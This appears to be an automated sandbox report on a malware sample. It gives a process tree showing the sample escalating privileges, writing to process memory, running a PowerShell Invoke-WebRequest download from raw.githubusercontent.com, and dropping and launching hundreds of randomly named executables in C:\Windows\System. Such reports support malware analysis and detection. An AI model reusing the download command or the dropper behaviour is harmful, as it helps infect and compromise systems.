PID 2360 wrote to memory of 3380	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	110
PID 2360 wrote to memory of 2876	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	111
PID 2360 wrote to memory of 2876	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	111
PID 2360 wrote to memory of 4488	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	112
PID 2360 wrote to memory of 4488	2360	e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe	112

C:\Users\Admin\AppData\Local\Temp\e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe
"C:\Users\Admin\AppData\Local\Temp\e3adcaa0b5992632e136ce3427b2e0c339337da164be514ecbbd9c963826c92d.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4900
- C:\Windows\System\NmEAvdk.exe
  C:\Windows\System\NmEAvdk.exe
  2⤵
  - Executes dropped EXE
  PID:4412
- C:\Windows\System\lvkaOUI.exe
  C:\Windows\System\lvkaOUI.exe
  2⤵
  - Executes dropped EXE
  PID:3004
- C:\Windows\System\sLKCNbB.exe
  C:\Windows\System\sLKCNbB.exe
  2⤵
  - Executes dropped EXE
  PID:4504
- C:\Windows\System\iDKroUN.exe
  C:\Windows\System\iDKroUN.exe
  2⤵
  - Executes dropped EXE
  PID:3456
- C:\Windows\System\bERePmv.exe
  C:\Windows\System\bERePmv.exe
  2⤵
  - Executes dropped EXE
  PID:3500
- C:\Windows\System\wAMPVxK.exe
  C:\Windows\System\wAMPVxK.exe
  2⤵
  - Executes dropped EXE
  PID:2216
- C:\Windows\System\lzjMjkZ.exe
  C:\Windows\System\lzjMjkZ.exe
  2⤵
  - Executes dropped EXE
  PID:3536
- C:\Windows\System\VewLBfB.exe
  C:\Windows\System\VewLBfB.exe
  2⤵
  - Executes dropped EXE
  PID:1400
- C:\Windows\System\gAguKDO.exe
  C:\Windows\System\gAguKDO.exe
  2⤵
  - Executes dropped EXE
  PID:1388
- C:\Windows\System\zVqeJJy.exe
  C:\Windows\System\zVqeJJy.exe
  2⤵
  - Executes dropped EXE
  PID:3464
- C:\Windows\System\AJxvear.exe
  C:\Windows\System\AJxvear.exe
  2⤵
  - Executes dropped EXE
  PID:1920
- C:\Windows\System\eQHVTSO.exe
  C:\Windows\System\eQHVTSO.exe
  2⤵
  - Executes dropped EXE
  PID:4996
- C:\Windows\System\wWfyrbG.exe
  C:\Windows\System\wWfyrbG.exe
  2⤵
  - Executes dropped EXE
  PID:3448
- C:\Windows\System\CotHVQV.exe
  C:\Windows\System\CotHVQV.exe
  2⤵
  - Executes dropped EXE
  PID:3868
- C:\Windows\System\xQsOssS.exe
  C:\Windows\System\xQsOssS.exe
  2⤵
  - Executes dropped EXE
  PID:1360
- C:\Windows\System\iQeYCye.exe
  C:\Windows\System\iQeYCye.exe
  2⤵
  - Executes dropped EXE
  PID:1912
- C:\Windows\System\qEsKfbl.exe
  C:\Windows\System\qEsKfbl.exe
  2⤵
  - Executes dropped EXE
  PID:4308
- C:\Windows\System\jRovCYB.exe
  C:\Windows\System\jRovCYB.exe
  2⤵
  - Executes dropped EXE
  PID:2140
- C:\Windows\System\dYDoGeE.exe
  C:\Windows\System\dYDoGeE.exe
  2⤵
  - Executes dropped EXE
  PID:4828
- C:\Windows\System\nVMVjFA.exe
  C:\Windows\System\nVMVjFA.exe
  2⤵
  - Executes dropped EXE
  PID:3200
- C:\Windows\System\RhIwyCs.exe
  C:\Windows\System\RhIwyCs.exe
  2⤵
  - Executes dropped EXE
  PID:3108
- C:\Windows\System\rmXBwQW.exe
  C:\Windows\System\rmXBwQW.exe
  2⤵
  - Executes dropped EXE
  PID:1064
- C:\Windows\System\wnsbciW.exe
  C:\Windows\System\wnsbciW.exe
  2⤵
  - Executes dropped EXE
  PID:1004
- C:\Windows\System\eqGntvH.exe
  C:\Windows\System\eqGntvH.exe
  2⤵
  - Executes dropped EXE
  PID:860
- C:\Windows\System\hKlfFrT.exe
  C:\Windows\System\hKlfFrT.exe
  2⤵
  - Executes dropped EXE
  PID:5024
- C:\Windows\System\QgNgWRR.exe
  C:\Windows\System\QgNgWRR.exe
  2⤵
  - Executes dropped EXE
  PID:3572
- C:\Windows\System\QkxYRhU.exe
  C:\Windows\System\QkxYRhU.exe
  2⤵
  - Executes dropped EXE
  PID:3124
- C:\Windows\System\CdeGBJJ.exe
  C:\Windows\System\CdeGBJJ.exe
  2⤵
  - Executes dropped EXE
  PID:4736
- C:\Windows\System\WPDSAaV.exe
  C:\Windows\System\WPDSAaV.exe
  2⤵
  - Executes dropped EXE
  PID:3380
- C:\Windows\System\hAbEkrn.exe
  C:\Windows\System\hAbEkrn.exe
  2⤵
  - Executes dropped EXE
  PID:2876
- C:\Windows\System\czbusXu.exe
  C:\Windows\System\czbusXu.exe
  2⤵
  - Executes dropped EXE
  PID:4488
- C:\Windows\System\DrnPsyh.exe
  C:\Windows\System\DrnPsyh.exe
  2⤵
  - Executes dropped EXE
  PID:3540
- C:\Windows\System\TZEPYmU.exe
  C:\Windows\System\TZEPYmU.exe
  2⤵
  - Executes dropped EXE
  PID:4696
- C:\Windows\System\pruGqsX.exe
  C:\Windows\System\pruGqsX.exe
  2⤵
  - Executes dropped EXE
  PID:2052
- C:\Windows\System\PdQbjlQ.exe
  C:\Windows\System\PdQbjlQ.exe
  2⤵
  - Executes dropped EXE
  PID:4108
- C:\Windows\System\VFTdOok.exe
  C:\Windows\System\VFTdOok.exe
  2⤵
  - Executes dropped EXE
  PID:4616
- C:\Windows\System\rVSlbTg.exe
  C:\Windows\System\rVSlbTg.exe
  2⤵
  - Executes dropped EXE
  PID:680
- C:\Windows\System\qmFIoys.exe
  C:\Windows\System\qmFIoys.exe
  2⤵
  - Executes dropped EXE
  PID:2340
- C:\Windows\System\WBYZYAs.exe
  C:\Windows\System\WBYZYAs.exe
  2⤵
  - Executes dropped EXE
  PID:3632
- C:\Windows\System\KrjraDc.exe
  C:\Windows\System\KrjraDc.exe
  2⤵
  - Executes dropped EXE
  PID:3616
- C:\Windows\System\gufFbwV.exe
  C:\Windows\System\gufFbwV.exe
  2⤵
  - Executes dropped EXE
  PID:548
- C:\Windows\System\cQqGLSx.exe
  C:\Windows\System\cQqGLSx.exe
  2⤵
  - Executes dropped EXE
  PID:364
- C:\Windows\System\ehamnVk.exe
  C:\Windows\System\ehamnVk.exe
  2⤵
  - Executes dropped EXE
  PID:216
- C:\Windows\System\SpLkgFF.exe
  C:\Windows\System\SpLkgFF.exe
  2⤵
  - Executes dropped EXE
  PID:4956
- C:\Windows\System\uuWMRui.exe
  C:\Windows\System\uuWMRui.exe
  2⤵
  - Executes dropped EXE
  PID:3176
- C:\Windows\System\BfhdJyy.exe
  C:\Windows\System\BfhdJyy.exe
  2⤵
  - Executes dropped EXE
  PID:4328
- C:\Windows\System\zDSZklh.exe
  C:\Windows\System\zDSZklh.exe
  2⤵
  - Executes dropped EXE
  PID:1952
- C:\Windows\System\AWVwIJn.exe
  C:\Windows\System\AWVwIJn.exe
  2⤵
  - Executes dropped EXE
  PID:4604
- C:\Windows\System\VKqkPgS.exe
  C:\Windows\System\VKqkPgS.exe
  2⤵
  - Executes dropped EXE
  PID:4468
- C:\Windows\System\KgXsuAk.exe
  C:\Windows\System\KgXsuAk.exe
  2⤵
  - Executes dropped EXE
  PID:4560
- C:\Windows\System\ovyAZKR.exe
  C:\Windows\System\ovyAZKR.exe
  2⤵
  - Executes dropped EXE
  PID:1804
- C:\Windows\System\NIIPdJl.exe
  C:\Windows\System\NIIPdJl.exe
  2⤵
  - Executes dropped EXE
  PID:3748
- C:\Windows\System\ojCidhY.exe
  C:\Windows\System\ojCidhY.exe
  2⤵
  - Executes dropped EXE
  PID:1680
- C:\Windows\System\HAOdfNS.exe
  C:\Windows\System\HAOdfNS.exe
  2⤵
  - Executes dropped EXE
  PID:2128
- C:\Windows\System\QDrGlYa.exe
  C:\Windows\System\QDrGlYa.exe
  2⤵
  - Executes dropped EXE
  PID:3076
- C:\Windows\System\rMeYuTO.exe
  C:\Windows\System\rMeYuTO.exe
  2⤵
  - Executes dropped EXE
  PID:4608
- C:\Windows\System\VjMuYMt.exe
  C:\Windows\System\VjMuYMt.exe
  2⤵
  - Executes dropped EXE
  PID:1892
- C:\Windows\System\WLFzher.exe
  C:\Windows\System\WLFzher.exe
  2⤵
  - Executes dropped EXE
  PID:4396
- C:\Windows\System\sxVWlli.exe
  C:\Windows\System\sxVWlli.exe
  2⤵
  - Executes dropped EXE
  PID:4896
- C:\Windows\System\BiSoDkj.exe
  C:\Windows\System\BiSoDkj.exe
  2⤵
  - Executes dropped EXE
  PID:2860
- C:\Windows\System\OYnuiUl.exe
  C:\Windows\System\OYnuiUl.exe
  2⤵
  - Executes dropped EXE
  PID:3316
- C:\Windows\System\uZZUXyN.exe
  C:\Windows\System\uZZUXyN.exe
  2⤵
  - Executes dropped EXE
  PID:4972
- C:\Windows\System\jajImMi.exe
  C:\Windows\System\jajImMi.exe
  2⤵
  - Executes dropped EXE
  PID:4004
- C:\Windows\System\vOjixGG.exe
  C:\Windows\System\vOjixGG.exe
  2⤵
  - Executes dropped EXE
  PID:1916
- C:\Windows\System\FLtBsDk.exe
  C:\Windows\System\FLtBsDk.exe
  2⤵
  PID:3368
- C:\Windows\System\wXjVwRP.exe
  C:\Windows\System\wXjVwRP.exe
  2⤵
  PID:1596
- C:\Windows\System\JvMjpxx.exe
  C:\Windows\System\JvMjpxx.exe
  2⤵
  PID:1800
- C:\Windows\System\QHgFLNa.exe
  C:\Windows\System\QHgFLNa.exe
  2⤵
  PID:2872
- C:\Windows\System\BaZXnUd.exe
  C:\Windows\System\BaZXnUd.exe
  2⤵
  PID:2284
- C:\Windows\System\gRwhXcm.exe
  C:\Windows\System\gRwhXcm.exe
  2⤵
  PID:5064
- C:\Windows\System\DllgnDV.exe
  C:\Windows\System\DllgnDV.exe
  2⤵
  PID:3252
- C:\Windows\System\hvbpmiD.exe
  C:\Windows\System\hvbpmiD.exe
  2⤵
  PID:3344
- C:\Windows\System\wJbQtuf.exe
  C:\Windows\System\wJbQtuf.exe
  2⤵
  PID:2180
- C:\Windows\System\QQzcWlu.exe
  C:\Windows\System\QQzcWlu.exe
  2⤵
  PID:452
- C:\Windows\System\eloJxls.exe
  C:\Windows\System\eloJxls.exe
  2⤵
  PID:1744
- C:\Windows\System\chTJbUl.exe
  C:\Windows\System\chTJbUl.exe
  2⤵
  PID:4028
- C:\Windows\System\iPYLAWs.exe
  C:\Windows\System\iPYLAWs.exe
  2⤵
  PID:2752
- C:\Windows\System\dricoRS.exe
  C:\Windows\System\dricoRS.exe
  2⤵
  PID:2692
- C:\Windows\System\aDrBUkM.exe
  C:\Windows\System\aDrBUkM.exe
  2⤵
  PID:2796
- C:\Windows\System\JxDljJS.exe
  C:\Windows\System\JxDljJS.exe
  2⤵
  PID:4744
- C:\Windows\System\jOyHwbg.exe
  C:\Windows\System\jOyHwbg.exe
  2⤵
  PID:1084
- C:\Windows\System\NGHnKCi.exe
  C:\Windows\System\NGHnKCi.exe
  2⤵
  PID:3048
- C:\Windows\System\gXyAfMs.exe
  C:\Windows\System\gXyAfMs.exe
  2⤵
  PID:2420
- C:\Windows\System\owydsJX.exe
  C:\Windows\System\owydsJX.exe
  2⤵
  PID:2940
- C:\Windows\System\ReXhXJT.exe
  C:\Windows\System\ReXhXJT.exe
  2⤵
  PID:3920
- C:\Windows\System\wcUDeEK.exe
  C:\Windows\System\wcUDeEK.exe
  2⤵
  PID:1900
- C:\Windows\System\VTophre.exe
  C:\Windows\System\VTophre.exe
  2⤵
  PID:4316
- C:\Windows\System\GZoCYwH.exe
  C:\Windows\System\GZoCYwH.exe
  2⤵
  PID:4924
- C:\Windows\System\gwzLtUd.exe
  C:\Windows\System\gwzLtUd.exe
  2⤵
  PID:1220
- C:\Windows\System\KCXotks.exe
  C:\Windows\System\KCXotks.exe
  2⤵
  PID:1808
- C:\Windows\System\jftATzT.exe
  C:\Windows\System\jftATzT.exe
  2⤵
  PID:852
- C:\Windows\System\ZElPBpl.exe
  C:\Windows\System\ZElPBpl.exe
  2⤵
  PID:4848
- C:\Windows\System\niHzfGF.exe
  C:\Windows\System\niHzfGF.exe
  2⤵
  PID:2336
- C:\Windows\System\qdqnjyI.exe
  C:\Windows\System\qdqnjyI.exe
  2⤵
  PID:2084
- C:\Windows\System\WsPdTNt.exe
  C:\Windows\System\WsPdTNt.exe
  2⤵
  PID:916
- C:\Windows\System\oVwUaWS.exe
  C:\Windows\System\oVwUaWS.exe
  2⤵
  PID:1968
- C:\Windows\System\fWNyCKa.exe
  C:\Windows\System\fWNyCKa.exe
  2⤵
  PID:4348
- C:\Windows\System\SkjcCSV.exe
  C:\Windows\System\SkjcCSV.exe
  2⤵
  PID:5084
- C:\Windows\System\lZfcZJv.exe
  C:\Windows\System\lZfcZJv.exe
  2⤵
  PID:3032
- C:\Windows\System\SxScqSz.exe
  C:\Windows\System\SxScqSz.exe
  2⤵
  PID:4700
- C:\Windows\System\gmasDZe.exe
  C:\Windows\System\gmasDZe.exe
  2⤵
  PID:3904
- C:\Windows\System\yfOUcKG.exe
  C:\Windows\System\yfOUcKG.exe
  2⤵
  PID:4992
- C:\Windows\System\zphKPNr.exe
  C:\Windows\System\zphKPNr.exe
  2⤵
  PID:3972
- C:\Windows\System\XCrFRQE.exe
  C:\Windows\System\XCrFRQE.exe
  2⤵
  PID:4960
- C:\Windows\System\ackftJG.exe
  C:\Windows\System\ackftJG.exe
  2⤵
  PID:4452
- C:\Windows\System\Yurejdl.exe
  C:\Windows\System\Yurejdl.exe
  2⤵
  PID:2524
- C:\Windows\System\fNsiKEp.exe
  C:\Windows\System\fNsiKEp.exe
  2⤵
  PID:756
- C:\Windows\System\dIuoXaL.exe
  C:\Windows\System\dIuoXaL.exe
  2⤵
  PID:5140
- C:\Windows\System\EdgpRCC.exe
  C:\Windows\System\EdgpRCC.exe
  2⤵
  PID:5164
- C:\Windows\System\SQZrTeW.exe
  C:\Windows\System\SQZrTeW.exe
  2⤵
  PID:5180
- C:\Windows\System\cmdTICx.exe
  C:\Windows\System\cmdTICx.exe
  2⤵
  PID:5228
- C:\Windows\System\GtyyNvc.exe
  C:\Windows\System\GtyyNvc.exe
  2⤵
  PID:5256
- C:\Windows\System\voEYZZH.exe
  C:\Windows\System\voEYZZH.exe
  2⤵
  PID:5284
- C:\Windows\System\yKwbUfQ.exe
  C:\Windows\System\yKwbUfQ.exe
  2⤵
  PID:5312
- C:\Windows\System\gXTPfRE.exe
  C:\Windows\System\gXTPfRE.exe
  2⤵
  PID:5344
- C:\Windows\System\WXDNvqp.exe
  C:\Windows\System\WXDNvqp.exe
  2⤵
  PID:5368
- C:\Windows\System\zDZJXjt.exe
  C:\Windows\System\zDZJXjt.exe
  2⤵
  PID:5396
- C:\Windows\System\cSoxCyz.exe
  C:\Windows\System\cSoxCyz.exe
  2⤵
  PID:5424
- C:\Windows\System\bdOTAwZ.exe
  C:\Windows\System\bdOTAwZ.exe
  2⤵
  PID:5448
- C:\Windows\System\HQlfLCp.exe
  C:\Windows\System\HQlfLCp.exe
  2⤵
  PID:5484
- C:\Windows\System\VYANrMz.exe
  C:\Windows\System\VYANrMz.exe
  2⤵
  PID:5508
- C:\Windows\System\akjUhJi.exe
  C:\Windows\System\akjUhJi.exe
  2⤵
  PID:5536
- C:\Windows\System\GvALrmT.exe
  C:\Windows\System\GvALrmT.exe
  2⤵
  PID:5568
- C:\Windows\System\zPIiLTm.exe
  C:\Windows\System\zPIiLTm.exe
  2⤵
  PID:5596
- C:\Windows\System\EDtznKM.exe
  C:\Windows\System\EDtznKM.exe
  2⤵
  PID:5624
- C:\Windows\System\hcDfZNm.exe
  C:\Windows\System\hcDfZNm.exe
  2⤵
  PID:5652
- C:\Windows\System\FiDWCru.exe
  C:\Windows\System\FiDWCru.exe
  2⤵
  PID:5680
- C:\Windows\System\sezMTZf.exe
  C:\Windows\System\sezMTZf.exe
  2⤵
  PID:5708
- C:\Windows\System\iMqvPQi.exe
  C:\Windows\System\iMqvPQi.exe
  2⤵
  PID:5736
- C:\Windows\System\ShSjlYg.exe
  C:\Windows\System\ShSjlYg.exe
  2⤵
  PID:5764
- C:\Windows\System\ckxviuq.exe
  C:\Windows\System\ckxviuq.exe
  2⤵
  PID:5796
- C:\Windows\System\hPIHUXS.exe
  C:\Windows\System\hPIHUXS.exe
  2⤵
  PID:5820
- C:\Windows\System\NFFLPFg.exe
  C:\Windows\System\NFFLPFg.exe
  2⤵
  PID:5848
- C:\Windows\System\sGpPLMB.exe
  C:\Windows\System\sGpPLMB.exe
  2⤵
  PID:5876
- C:\Windows\System\uLghVEb.exe
  C:\Windows\System\uLghVEb.exe
  2⤵
  PID:5904
- C:\Windows\System\XjEWThN.exe
  C:\Windows\System\XjEWThN.exe
  2⤵
  PID:5924
- C:\Windows\System\ddPnBqM.exe
  C:\Windows\System\ddPnBqM.exe
  2⤵
  PID:5960
- C:\Windows\System\LFvdDoH.exe
  C:\Windows\System\LFvdDoH.exe
  2⤵
  PID:5980
- C:\Windows\System\qreBQny.exe
  C:\Windows\System\qreBQny.exe
  2⤵
  PID:6016
- C:\Windows\System\mBdpFjO.exe
  C:\Windows\System\mBdpFjO.exe
  2⤵
  PID:6044
- C:\Windows\System\KCLmGvL.exe
  C:\Windows\System\KCLmGvL.exe
  2⤵
  PID:6068
- C:\Windows\System\tCcuZcy.exe
  C:\Windows\System\tCcuZcy.exe
  2⤵
  PID:6092
- C:\Windows\System\fiWJJjy.exe
  C:\Windows\System\fiWJJjy.exe
  2⤵
  PID:6128
- C:\Windows\System\yfoltrH.exe
  C:\Windows\System\yfoltrH.exe
  2⤵
  PID:5136
- C:\Windows\System\lUZRidP.exe
  C:\Windows\System\lUZRidP.exe
  2⤵
  PID:5200
- C:\Windows\System\yBZVygB.exe
  C:\Windows\System\yBZVygB.exe
  2⤵
  PID:5240
- C:\Windows\System\gUpnjJW.exe
  C:\Windows\System\gUpnjJW.exe
  2⤵
  PID:4132
- C:\Windows\System\dDFBmCt.exe
  C:\Windows\System\dDFBmCt.exe
  2⤵
  PID:5360
- C:\Windows\System\wmuRgwM.exe
  C:\Windows\System\wmuRgwM.exe
  2⤵
  PID:5436
- C:\Windows\System\iGWlOGp.exe
  C:\Windows\System\iGWlOGp.exe
  2⤵
  PID:5468
- C:\Windows\System\mjdjPnV.exe
  C:\Windows\System\mjdjPnV.exe
  2⤵
  PID:5552
- C:\Windows\System\TCNLnBg.exe
  C:\Windows\System\TCNLnBg.exe
  2⤵
  PID:5580
- C:\Windows\System\SmlKyia.exe
  C:\Windows\System\SmlKyia.exe
  2⤵
  PID:5664
- C:\Windows\System\JdEDpmR.exe
  C:\Windows\System\JdEDpmR.exe
  2⤵
  PID:5720
- C:\Windows\System\gEMmUEo.exe
  C:\Windows\System\gEMmUEo.exe
  2⤵
  PID:5776
- C:\Windows\System\xSkVsjn.exe
  C:\Windows\System\xSkVsjn.exe
  2⤵
  PID:5828
- C:\Windows\System\WOTQPqm.exe
  C:\Windows\System\WOTQPqm.exe
  2⤵
  PID:5896
- C:\Windows\System\wSLGJft.exe
  C:\Windows\System\wSLGJft.exe
  2⤵
  PID:5952
- C:\Windows\System\cQoZbJb.exe
  C:\Windows\System\cQoZbJb.exe
  2⤵
  PID:6036
- C:\Windows\System\ovzLIhp.exe
  C:\Windows\System\ovzLIhp.exe
  2⤵
  PID:6084
- C:\Windows\System\QDLWPHK.exe
  C:\Windows\System\QDLWPHK.exe
  2⤵
  PID:1116
- C:\Windows\System\cObpSEI.exe
  C:\Windows\System\cObpSEI.exe
  2⤵
  PID:5268
- C:\Windows\System\BvSvkAj.exe
  C:\Windows\System\BvSvkAj.exe
  2⤵
  PID:5404
- C:\Windows\System\QpStUhh.exe
  C:\Windows\System\QpStUhh.exe
  2⤵
  PID:5528
- C:\Windows\System\rjlhASz.exe
  C:\Windows\System\rjlhASz.exe
  2⤵
  PID:5688
- C:\Windows\System\fwQNRvb.exe
  C:\Windows\System\fwQNRvb.exe
  2⤵
  PID:1104
- C:\Windows\System\ckHnwBx.exe
  C:\Windows\System\ckHnwBx.exe
  2⤵
  PID:5936
- C:\Windows\System\KqKloJO.exe
  C:\Windows\System\KqKloJO.exe
  2⤵
  PID:444
- C:\Windows\System\BCbihYe.exe
  C:\Windows\System\BCbihYe.exe
  2⤵
  PID:5176
- C:\Windows\System\JSLEkhT.exe
  C:\Windows\System\JSLEkhT.exe
  2⤵
  PID:5464
- C:\Windows\System\WKxExSn.exe
  C:\Windows\System\WKxExSn.exe
  2⤵
  PID:5804
- C:\Windows\System\hOrVsow.exe
  C:\Windows\System\hOrVsow.exe
  2⤵
  PID:6060
- C:\Windows\System\xgRkYKY.exe
  C:\Windows\System\xgRkYKY.exe
  2⤵
  PID:5864
- C:\Windows\System\EFmevrp.exe
  C:\Windows\System\EFmevrp.exe
  2⤵
  PID:5744
- C:\Windows\System\VxFZjxI.exe
  C:\Windows\System\VxFZjxI.exe
  2⤵
  PID:6156
- C:\Windows\System\uuafSxd.exe
  C:\Windows\System\uuafSxd.exe
  2⤵
  PID:6184
- C:\Windows\System\YuPMtQk.exe
  C:\Windows\System\YuPMtQk.exe
  2⤵
  PID:6212
- C:\Windows\System\vKMhWDt.exe
  C:\Windows\System\vKMhWDt.exe
  2⤵
  PID:6240
- C:\Windows\System\tAjBKUg.exe
  C:\Windows\System\tAjBKUg.exe
  2⤵
  PID:6268
- C:\Windows\System\nymPeRd.exe
  C:\Windows\System\nymPeRd.exe
  2⤵
  PID:6296
- C:\Windows\System\QSiyUyi.exe
  C:\Windows\System\QSiyUyi.exe
  2⤵
  PID:6324
- C:\Windows\System\tcTSnAA.exe
  C:\Windows\System\tcTSnAA.exe
  2⤵
  PID:6352
- C:\Windows\System\yimCaeQ.exe
  C:\Windows\System\yimCaeQ.exe
  2⤵
  PID:6376
- C:\Windows\System\SZUXoNg.exe
  C:\Windows\System\SZUXoNg.exe
  2⤵
  PID:6408
- C:\Windows\System\GYpxbtQ.exe
  C:\Windows\System\GYpxbtQ.exe
  2⤵
  PID:6436
- C:\Windows\System\BqHgZDr.exe
  C:\Windows\System\BqHgZDr.exe
  2⤵
  PID:6464
- C:\Windows\System\ZWjeYPw.exe
  C:\Windows\System\ZWjeYPw.exe
  2⤵
  PID:6492
- C:\Windows\System\QbqctYw.exe
  C:\Windows\System\QbqctYw.exe
  2⤵
  PID:6520
- C:\Windows\System\lUiiBEn.exe
  C:\Windows\System\lUiiBEn.exe
  2⤵
  PID:6548
- C:\Windows\System\FPufKwy.exe
  C:\Windows\System\FPufKwy.exe
  2⤵
  PID:6576
- C:\Windows\System\nRBAcXm.exe
  C:\Windows\System\nRBAcXm.exe
  2⤵
  PID:6596
- C:\Windows\System\OYqpJkG.exe
  C:\Windows\System\OYqpJkG.exe
  2⤵
  PID:6632
- C:\Windows\System\qdFdJyZ.exe
  C:\Windows\System\qdFdJyZ.exe
  2⤵
  PID:6660
- C:\Windows\System\VcHzXQt.exe
  C:\Windows\System\VcHzXQt.exe
  2⤵
  PID:6688
- C:\Windows\System\tPtmGiJ.exe
  C:\Windows\System\tPtmGiJ.exe
  2⤵
  PID:6716
- C:\Windows\System\LbByzni.exe
  C:\Windows\System\LbByzni.exe
  2⤵
  PID:6748
- C:\Windows\System\HNUSMzp.exe
  C:\Windows\System\HNUSMzp.exe
  2⤵
  PID:6776
- C:\Windows\System\FOPaqyn.exe
  C:\Windows\System\FOPaqyn.exe
  2⤵
  PID:6804
- C:\Windows\System\hsNvBWs.exe
  C:\Windows\System\hsNvBWs.exe
  2⤵
  PID:6832
- C:\Windows\System\PopOQoF.exe
  C:\Windows\System\PopOQoF.exe
  2⤵
  PID:6860
- C:\Windows\System\epMmULo.exe
  C:\Windows\System\epMmULo.exe
  2⤵
  PID:6888
- C:\Windows\System\cIyEfvh.exe
  C:\Windows\System\cIyEfvh.exe
  2⤵
  PID:6916
- C:\Windows\System\QTrQGBg.exe
  C:\Windows\System\QTrQGBg.exe
  2⤵
  PID:6944
- C:\Windows\System\nasChYj.exe
  C:\Windows\System\nasChYj.exe
  2⤵
  PID:6972
- C:\Windows\System\gHSJTlf.exe
  C:\Windows\System\gHSJTlf.exe
  2⤵
  PID:7000
- C:\Windows\System\opsZIMh.exe
  C:\Windows\System\opsZIMh.exe
  2⤵
  PID:7028
- C:\Windows\System\RpDdlSL.exe
  C:\Windows\System\RpDdlSL.exe
  2⤵
  PID:7048
- C:\Windows\System\WHUjaVe.exe
  C:\Windows\System\WHUjaVe.exe
  2⤵
  PID:7076
- C:\Windows\System\CCJQDdN.exe
  C:\Windows\System\CCJQDdN.exe
  2⤵
  PID:7108
- C:\Windows\System\xCvbuFk.exe
  C:\Windows\System\xCvbuFk.exe
  2⤵
  PID:7148
- C:\Windows\System\rGWkQVV.exe
  C:\Windows\System\rGWkQVV.exe
  2⤵
  PID:6164
- C:\Windows\System\KWWSXaC.exe
  C:\Windows\System\KWWSXaC.exe
  2⤵
  PID:6220
- C:\Windows\System\UzffmOu.exe
  C:\Windows\System\UzffmOu.exe
  2⤵
  PID:6280
- C:\Windows\System\bgmYcNz.exe
  C:\Windows\System\bgmYcNz.exe
  2⤵
  PID:6344
- C:\Windows\System\PuMFMDX.exe
  C:\Windows\System\PuMFMDX.exe
  2⤵
  PID:6416
- C:\Windows\System\nJCHmBC.exe
  C:\Windows\System\nJCHmBC.exe
  2⤵
  PID:6476
- C:\Windows\System\VQUzaan.exe
  C:\Windows\System\VQUzaan.exe
  2⤵
  PID:6536
- C:\Windows\System\qWIsNMG.exe
  C:\Windows\System\qWIsNMG.exe
  2⤵
  PID:6608
- C:\Windows\System\mieTONT.exe
  C:\Windows\System\mieTONT.exe
  2⤵
  PID:6672
- C:\Windows\System\RwKTJKc.exe
  C:\Windows\System\RwKTJKc.exe
  2⤵
  PID:6736
- C:\Windows\System\QspTKdI.exe
  C:\Windows\System\QspTKdI.exe
  2⤵
  PID:6792
- C:\Windows\System\RnZisNp.exe
  C:\Windows\System\RnZisNp.exe
  2⤵
  PID:6868
- C:\Windows\System\LHuezKH.exe
  C:\Windows\System\LHuezKH.exe
  2⤵
  PID:6928
- C:\Windows\System\iEmBOHY.exe
  C:\Windows\System\iEmBOHY.exe
  2⤵
  PID:7008
- C:\Windows\System\JfHvRiO.exe
  C:\Windows\System\JfHvRiO.exe
  2⤵
  PID:7072
- C:\Windows\System\IKmxuxD.exe
  C:\Windows\System\IKmxuxD.exe
  2⤵
  PID:7144
- C:\Windows\System\PDnNiGg.exe
  C:\Windows\System\PDnNiGg.exe
  2⤵
  PID:6232
- C:\Windows\System\qgEiVyO.exe
  C:\Windows\System\qgEiVyO.exe
  2⤵
  PID:6364
- C:\Windows\System\oPnVsHw.exe
  C:\Windows\System\oPnVsHw.exe
  2⤵
  PID:6504
- C:\Windows\System\LAauVZH.exe
  C:\Windows\System\LAauVZH.exe
  2⤵
  PID:6648
- C:\Windows\System\ZMCVDGa.exe
  C:\Windows\System\ZMCVDGa.exe
  2⤵
  PID:6824
- C:\Windows\System\IIpgTtE.exe
  C:\Windows\System\IIpgTtE.exe
  2⤵
  PID:6952
- C:\Windows\System\QUOubop.exe
  C:\Windows\System\QUOubop.exe
  2⤵
  PID:7100
- C:\Windows\System\JsyRxga.exe
  C:\Windows\System\JsyRxga.exe
  2⤵
  PID:6384
- C:\Windows\System\ogusQsC.exe
  C:\Windows\System\ogusQsC.exe
  2⤵
  PID:6724
- C:\Windows\System\VcUWHIo.exe
  C:\Windows\System\VcUWHIo.exe
  2⤵
  PID:6980
- C:\Windows\System\YiShAtq.exe
  C:\Windows\System\YiShAtq.exe
  2⤵
  PID:6816
- C:\Windows\System\KFMdRuY.exe
  C:\Windows\System\KFMdRuY.exe
  2⤵
  PID:7104
- C:\Windows\System\CbjbLWv.exe
  C:\Windows\System\CbjbLWv.exe
  2⤵
  PID:7176
- C:\Windows\System\MhpHQzE.exe
  C:\Windows\System\MhpHQzE.exe
  2⤵
  PID:7208
- C:\Windows\System\WfwBDcn.exe
  C:\Windows\System\WfwBDcn.exe
  2⤵
  PID:7236
- C:\Windows\System\LIXuwuX.exe
  C:\Windows\System\LIXuwuX.exe
  2⤵
  PID:7264
- C:\Windows\System\VjSFpaB.exe
  C:\Windows\System\VjSFpaB.exe
  2⤵
  PID:7292
- C:\Windows\System\EozGwJk.exe
  C:\Windows\System\EozGwJk.exe
  2⤵
  PID:7320
- C:\Windows\System\MSXZtkY.exe
  C:\Windows\System\MSXZtkY.exe
  2⤵
  PID:7348
- C:\Windows\System\jVLYyQU.exe
  C:\Windows\System\jVLYyQU.exe
  2⤵
  PID:7376
- C:\Windows\System\tbPJNiy.exe
  C:\Windows\System\tbPJNiy.exe
  2⤵
  PID:7408
- C:\Windows\System\fcajVrp.exe
  C:\Windows\System\fcajVrp.exe
  2⤵
  PID:7436
- C:\Windows\System\XbbeOoU.exe
  C:\Windows\System\XbbeOoU.exe
  2⤵
  PID:7460
- C:\Windows\System\BOzLldF.exe
  C:\Windows\System\BOzLldF.exe
  2⤵
  PID:7492
